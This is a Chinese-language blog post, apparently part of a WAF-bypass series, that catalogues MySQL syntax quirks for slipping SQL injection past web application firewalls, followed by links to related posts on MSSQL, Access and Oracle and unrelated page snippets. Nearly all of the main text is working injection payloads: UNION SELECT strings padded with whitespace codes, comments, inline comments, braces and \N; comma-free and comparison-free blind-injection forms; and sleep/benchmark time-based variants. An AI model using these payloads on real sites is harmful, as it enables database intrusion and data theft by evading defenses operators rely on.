0x01 背景

Mysql数据库特性探索,探索能够绕过WAF的数据库特性。

0x02 测试

常见有5个位置即:   SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

位置一:参数和union之间的位置

(1): 常见形式%20、/**/、/*!50000union*/等形式:

SELECT * FROM admin WHERE username = 1 union select 1,user() from admin

其他形式如:%1%20、%39%20、%40%20

(2)%0a 等空白字符:

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1%0aunion select 1,user() from admin

%23%0a

(3)浮点数形式 :1.1

SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin

SELECT * FROM admin WHERE username = 1.union select 1,user() from admin

其他形式如:%1%2e、%2%2e

(4)1E0的形式:

SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin

(5) \Nunion的形式:

SELECT * FROM admin WHERE username = \Nunion select 1,user() from admin

位置二:union和select之间的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union%a0select 1,user() from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)括号

SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))

select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1))

位置三:select和查询参数之间的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union select%091,user() from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)其他字符

%21  ! 叹号

%2b  +  加号

%2d  -  减号

%40  @  电子邮件符号

%7e   ~  波浪号

SELECT * FROM admin WHERE username = 1 union select~1,user() from admin

(4)其他方式:

括号:  SELECT * FROM admin WHERE username = 1 union select(1),user() from admin

内联:  SELECT * FROM admin WHERE username = 1 union /*!12345select*/1,user() from admin

@字符:SELECT * FROM admin WHERE username = 1 union select@`1`,user() from admin

{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin

引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin

\N:    SELECT * FROM admin WHERE username = 1 union select\N,user() from admin

位置四:查询参数和from之间的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union select 1,user()%09from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)其他符号

波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select `schema_name`from information_schema.SCHEMATA limit 0,1))

SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin

内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/*!schema_name*/from information_schema.SCHEMATA limit 1,1))

{括号:     SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))

括号:      SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))

双引号:     SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin

括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin

破浪号加字母:   SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin

(4)浮点数、1E0的形式、\N形式

id=1 union%0cselect user(),2.0from admin

SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin

SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin

SELECT * FROM admin WHERE username = 1 union select user(),\Nfrom admin

位置五:from后面的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union select 1,user()%09from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)其他字符

破浪号:      id=1 union select 1,(select(schema_name)from`information_schema`.SCHEMATA limit 0,1)

内联注释:   id=1 union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)

{括号:      id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)

括号:        id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)

同一个表的情况下,大小写字母加数字都可以

SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin

特性:%23%0a      %2d%2d%0a

0x03 函数

1、常见过滤函数

(1)字符串截取函数

Mid(version(),1,1)

Substr(version(),1,1)

Substring(version(),1,1)

Lpad(version(),1,1)

Rpad(version(),1,1)

Left(version(),1)

reverse(right(reverse(version()),1))

(2)字符串连接函数

concat(version(),'|',user());

concat_ws('|',1,2,3)

(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了,然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61)

2、过滤了特殊符号(如逗号)

(1)limit处的逗号: limit 1 offset 0

(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)

(3)union处的逗号: 通过join拼接。

SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b

(4)操作符<>被过滤

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
总结:使用greatest()绕过比较操作符。

3、部分函数构造

(1)sleep(5)/benchmark(10000000,SHA1(1))

id=1 xor sleep%23%0a(5)

id=1 xor sleep%2d%2d%0a(5)

id=1 xor sleep([%20]5)

id=1 xor benchmark%0a(10000000,SHA1(1))

id=1 xor sleep[空白字符](5)

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

4、select {x 1}形式

select{x[可填充字符]1}

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

%21  !

%2b   +

%2d   -

%40  @

%7e ~

持续更新中。。。。。。。。

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

WAF Bypass数据库特性(Mysql探索篇)的更多相关文章

  1. WAF Bypass数据库特性(MSsql探索篇)

    0x01 背景 探索玩了Mysql特性,继续来探索一下MSsql特性. 0x02 测试 常见有5个位置即:select * from admin where id=1[位置一]union[位置二]se ...

  2. WAF Bypass数据库特性(Access探索篇)

    0x01 背景 无聊,测试了一下access特性 0x02 测试 常见有5个位置即:select * from admin where id=1[位置一]union[位置二]select[位置三]1, ...

  3. WAF Bypass数据库特性(Oracle探索篇)

    0x01 背景 oracle与mysql特性类似,半自动化fuzz了一下,记录成果. 0x02 测试 位置一:参数和union之间的位置 1)空白字符 Oracle中可以利用的空白字符有: %00   ...

  4. WAF Bypass 笔记(SQL注入篇)

    0x01 背景 waf Bypass 笔记 0x02 服务器特性 1.%特性(ASP+IIS) 在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF ...

  5. MySQL优化篇(一),我可以和面试官多聊几句吗?——SQL优化流程与优化数据库对象

    我可以和面试官多聊几句吗?只是想偷点技能过来.MySQL优化篇(基于MySQL8.0测试验证),上部分:优化SQL语句.数据库对象,MyISAM表锁和InnoDB锁问题. MyISAM表锁和InnoD ...

  6. 数据库【mysql篇】学习笔记

    Windows服务 -- 启动MySQL    net start mysql-- 创建Windows服务    sc create mysql binPath= mysqld_bin_path(注意 ...

  7. 数据库之mysql篇(1)—— 数据库管理系统简介/mysql的安装、配置

    说mysql之前,还是先说说数据库. 什么是数据库: 数据库(Database)是按照数据结构来组织.存储和管理数据的仓库,它产生于距今六十多年前,随着信息技术和市场的发展,特别是二十世纪九十年代以后 ...

  8. 数据库——MySQL——>Java篇

    MySQL MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是 ...

  9. MySQL 第一篇:初识数据库

    一 数据库管理软件的由来 基于我们之前所学,数据要想永久保存,都是保存于文件中,毫无疑问,一个文件仅仅只能存在于某一台机器上. 如果我们暂且忽略直接基于文件来存取数据的效率问题,并且假设程序所有的组件 ...

随机推荐

  1. Redis 学习笔记1

    配置文件: 根据配置文件打开服务器: redis-server redis.conf --port 6370 redis-cli -localhost -p 6370 动态设置/获取配置选项的值 CO ...

  2. JSONObject遍历获取键值方法合并两个JSONObject

    JSONObject obj1= new JSONObject(); try { obj1.put("obj1_data", obj1_data); if (null != obj ...

  3. Lucene系列二:Lucene(Lucene介绍、Lucene架构、Lucene集成)

    一.Lucene介绍 1. Lucene简介 最受欢迎的java开源全文搜索引擎开发工具包.提供了完整的查询引擎和索引引擎,部分文本分词引擎(英文与德文两种西方语言).Lucene的目的是为软件开发人 ...

  4. e610. Setting Focus Traversal Keys in a Component

    When the focus is on a component, any focus traversal keys set for that component override the defau ...

  5. TPshop标签

    很多cms 中有很多 标签, 商品标签 文章标签  列表标签  几十个标签, 让开发者头疼, 难记,  TPshop开发者考虑到这点, 用了一个万能标签, 开发者非常方便实用 TPshop万能标签只要 ...

  6. 深入理解Java对象序列化

    关于Java序列化的文章早已是汗牛充栋了,本文是对我个人过往学习,理解及应用Java序列化的一个总结.此文内容涉及Java序列化的基本原理,以及多种方法对序列化形式进行定制.在撰写本文时,既参考了Th ...

  7. 目标跟踪之meanshift---meanshift2

    均值漂移,可以对非刚性物理进行跟踪,是分参数估计,过程是迭代的过程,对光和形态不敏感,缺点是检测目标是固定的,特征不较少,模板背景没有实时更新,没有目标的位置精度预测只是梯度浓聚, 原理: 用文字标书 ...

  8. ISAPI和CGI限制中没有ASP.NET v4.0 ; vS2013检测到在集成的托管管道模式下不适用的 ASP.NET 设置。

    统确实自带了ASP.NET v4.0,但是ISAPI中没有这个选项,导致服务器开不起来 解决方法如下: 1.确保安装IIS时确实安装了ASP.NET,如果没有的话,勾上重新装一下,一般出现404.2时 ...

  9. 基于bootstrap-multiselect.js的下拉框联动

    背景:当option特别多时,一般的下拉框选择起来就有点力不从心了,所以使用multiselect是个很好的选择,可以通过输入文字来选择选项很方便,但是有一个需要下拉框联动,网上找了半天才找到解决方法 ...

  10. 75道阿里Java面试题,你能答上几道?

    整理了下阿里近几年的java面试题目,大家参考下吧,希望对大家有帮助,可以帮大家查漏补缺. 答对以下这些面试题,可以淘汰掉 80 % 的求职竞争者. 1.hashcode相等两个类一定相等吗?equa ...